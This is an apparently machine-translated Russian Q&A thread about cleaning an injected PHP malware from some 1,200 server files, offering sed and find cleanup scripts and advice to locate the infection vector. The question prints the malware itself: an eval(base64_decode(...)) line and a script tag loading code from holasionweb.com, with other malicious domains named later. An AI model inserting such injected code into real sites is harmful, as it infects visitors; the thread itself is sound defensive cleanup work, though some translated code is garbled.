У меня проблема с удалением кода вируса из моих php-файлов. На моем сервере более 1200 php-файлов, и каждый отдельный php-файл заражен вирусом. Код вируса, добавляющий эту строку в вывод html
<script src="http://holasionweb.com/oo.php"></script>
Это код вируса
<?php /**/ eval(base64_decode("aWYoZnVuY+KS9zaScsZ21sKCkuIlxuIi4nJDEnLCRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUpOyAgICAgfWVsc2V7ICAgICAgcmV0dXJuICRSQTE3OUFCRDNBN0I5RTI4QzM2OUY3QjU5QzUxQjgxREUuZ21sKCk7ICAgICB9ICAgIH0gICAgb2Jfc3RhcnQoJ21yb2JoJyk7ICAgfSAgfQ=="));?>
Выше кода в каждом файле php. Как я могу удалить этот код вируса из каждого php-файла? Есть ли быстрый способ сделать это?
Сохраните следующий код как cleaner.php и загрузите его в корневой каталог и вызовите его через браузер.
Site clean up by <a href="http://sucuri.net">http://sucuri.net</a><br /> This script will clean the malware from this attack: <a href="http://sucuri.net/malware/entry/MW:MROBH:1">http://sucuri.net/malware/entry/MW:MROBH:1</a> <br /><br /> If you need help, contact dd@sucuri.net or visit us at <a href="http://sucuri.net/index.php?page=nbi"> http://sucuri.net/index.php?page=nbi</a> <br /> <br /> <?php $dir = "./"; $rmcode = `find $dir -name "*.php" -type f |xargs sed -i 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`; echo "Malware removed.<br />\n"; $emptyline = `find $dir -name "*.php" -type f | xargs sed -i '/./,$!d' 2>&1`; echo "Empty lines removed.<br />\n"; ?> <br /> Completed.
Простая команда из ssh аналогична:
find /path/to/docroot -name '*.php' -exec sed -i 's/<script.*?holasionweb.*?script>//' {} \;
почему бы не настроить быстрый скрипт на вашем любимом языке сценариев, чтобы просмотреть каждый файл для чего-то подобного и удалить его? souns, как 10-минутный сценарий для меня
Заметьте, я говорю, скрипт, потому что 1200 файлов слишком много сделать вручную
В первом ответе выше отсутствует код для завершения удаления.
Также необходимо удалить строку сценария HTML, которая вводит javascript на PHP / HTML-страницу (обычно это находится в конце страницы рядом с тегом, заголовком или иным образом).
Хотя по состоянию на 5/12/2010, holasionweb является основным источником инъекции javscript (по крайней мере, я видел), приведенная выше страница: http://sucuri.net/malware/entry/MW:MROBH:1 относится к несколько «возможных» источников javascipt, которые необходимо удалить.
(Зараженные сайты javascript вредоносных программ) http://www.indesignstudioinfo.com/ls.php zettapetta.com/js.php holasionweb.com/oo.php
Добавьте эти строки, чтобы удалить вызовы из 3 источников вредоносных программ: (если ваша инфекция использует другой источник, соответствующим образом измените регулярный экспресс.
$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://holasionweb\.com.*/script>##g' 2>&1
;
$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://www.indesignstudioinfo\.com.*/script>##g' 2>&1
;
$ removejs = find $dir -name "*.php" -type f |xargs sed -i 's#<script src="http://zettapetta\.com.*/script>##g' 2>&1
;
echo "Javascript удален.
\ П ";
На некоторых машинах (с Linux, я думаю) вы должны добавить «» после sed -i. После этого команда будет выглядеть так:
$rmcode = `find $dir -name "*.php" -type f |xargs sed -i "" 's#<?php /\*\*/ eval(base64_decode("aWY.*?>##g' 2>&1`;
Если это один и тот же фрагмент кода в каждом файле, вы можете загрузить Notepad ++, например. Откройте все файлы и используйте Find in File
in Find (ctrl+F)
чтобы заменить этот PHP-код в каждом файле
Вопрос никто не спросил, но должен: Как файлы заразились на сервере?
Нет смысла удалять следы вируса, если метод заражения не найден. Если это ошибка безопасности установленного программного пакета, удаление, скорее всего, не приведет к чему-либо, кроме повторного заражения, возможно, после короткого перерыва. Если это слабый пароль, который был взломан, не меняя его, он снова и снова будет подвергать сервер одной и той же атаке.
Итак, первый шаг после обнаружения такой атаки: Узнайте, как это было сделано!